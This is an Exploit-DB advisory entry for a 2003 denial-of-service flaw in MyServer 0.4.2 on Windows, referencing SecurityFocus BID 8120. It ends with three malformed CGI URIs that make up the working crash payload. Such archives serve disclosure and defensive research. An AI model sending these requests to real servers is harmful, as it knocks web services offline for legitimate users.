MyServer 0.4.2 Malformed URI Denial of Service Vulnerability

2003-07-07T00:00:00
ID EDB-ID:22875
Type exploitdb
Reporter Morning Wood
Modified 2003-07-07T00:00:00

Description

MyServer 0.4.2 Malformed URI Denial Of Service Vulnerability. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/8120/info

MyServer has been reported to be prone to denial of service attacks when handling certain malformed URIs. This could be exploited to deny availability of web services to legitimate users.

This issue was reported in myServer 0.4.2 on Microsoft Windows platforms. Other versions may also be affected.

http://www.example.com/cgi-bin/math_sum.mscgi?a=
http://www.example.com/cgi-bin/math_sum.mscgi??=
http://www.example.com/cgi-bin/post.mscgi???